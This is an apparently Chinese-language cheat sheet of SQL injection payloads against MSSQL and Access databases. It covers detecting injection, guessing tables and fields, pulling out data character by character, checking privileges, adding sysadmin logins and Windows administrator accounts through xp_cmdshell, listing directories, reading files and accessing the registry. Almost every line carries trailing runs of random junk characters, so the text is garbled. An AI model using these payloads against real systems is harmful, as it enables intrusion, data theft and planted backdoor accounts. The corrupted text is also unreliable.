1.判断是否有注入;and 1=1 ;and 1=2 uU\iji\
2.初步判断是否是mssql ;and user>0 6e*b;{d
/(0d{
3.注入参数是字符'and [查询条件] and ''=' E37@BfpO3
&L?Dogo
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7f$Lb,\y
5~X%*_[],
5.判断数据库系统 )yK!qu
I^|bQ3sor
;and (select count(*) from sysobjects)>0 mssql } R/
W[m_IY
;and (select count(*) from msysobjects)>0 access yN o8R[M
HY:@=%R
|#B"j1D,H
T:&+#0<
6.猜数据库 ;and (select Count(*) from [数据库名])>0 N.`]D)57
@&W?e?O ~G
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C(P$,;6
nJya1AH;
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 Z7/dRc
<XagkD
9.(1)猜字段的ascii值(access) m&%b;%,J
\nyFN
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 s?E: ]
X m3t
xp#
(2)猜字段的ascii值(mssql) mC7Y *
;~bn@T-
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 >D;hT*3
>g2B5KY
10.测试权限结构(mssql) >8tuLd*T
31C]TdJ
ES2qX]I
l!=WqIZ
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ;R!H\
`IoX'|C[h
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 8(D}y\
yBj)#m5!
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- K0g:Q*J-
j5O*H_D
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- \d+HYLAJn
bH{aI:9Fb
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- c" 7pf
T
`Vi:r9|P
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- NHF?73:
ka3Z5
;and 1=(select IS_MEMBER('db_owner'));-- lRr-S%
TfVD'HAN;l
]EnaZWyO]
PpRO7(<cD
11.添加mssql和系统的帐户 o4;Nb|kk9+
2~DPq p[
;exec master.dbo.sp_addlogin username;-- 0mh8.
;exec master.dbo.sp_password null,username,password;-- FudD
?Q3~n ^
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- J":9
@;}H<&"
;exec master.dbo.xp_cmdshell 'net user username password }$1;<
}j1Zk4}[x
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 03o3[g?
0?xiG SZV
;exec master.dbo.xp_cmdshell 'net user username password /add';-- vWH>k+9&X
^BX@0"&-
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- RKkI/ Z0
`W n5
.V
BfT,
Zg&\K~OC
12.(1)遍历目录 d6EY'*0
Dj+Osh
;create table dirs(paths varchar(100), id int) &>l8S lC?
ef;L|b%pp
;insert dirs exec master.dbo.xp_dirtree 'c:\' jPNfLwVkl:
nln6:^w
;and (select top 1 paths from dirs)>0 b,R'T+4[
5]l7Z35
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) #cG479X"
[B3aRi0AQ
BpG'e-2
tC:,!4 P$
(2)遍历目录 TrU@mYnE
\{zAX~k6
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- bV*zMoD#
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 A9Wqz"[
('q vYQ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 az;jMnPpR5
<]^;/2.B
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 6QXQ<ah"
6.s?
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 wrYQ=u#Z
>Ryss@o
v-fi9$#^
B"9hQb
13.mssql中的存储过程 iv+jv2ZF%
j&
iL5J;
xp_regenumvalues 注册表根键, 子键 Q@wq
}vc!
P`dHR;Y0
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 Ja v2A6a
RIEv*2_O
xp_regread 根键,子键,键值名 1bZiPG{
pptM&Y
;exec xp_regread MlK`sH6
7E3SvC|M
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 qf`xH"$
p
<=%
xp_regwrite 根键,子键, 值名, 值类型, 值 !NLvo_[Y
DsJn#>?Kh
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 yCCw<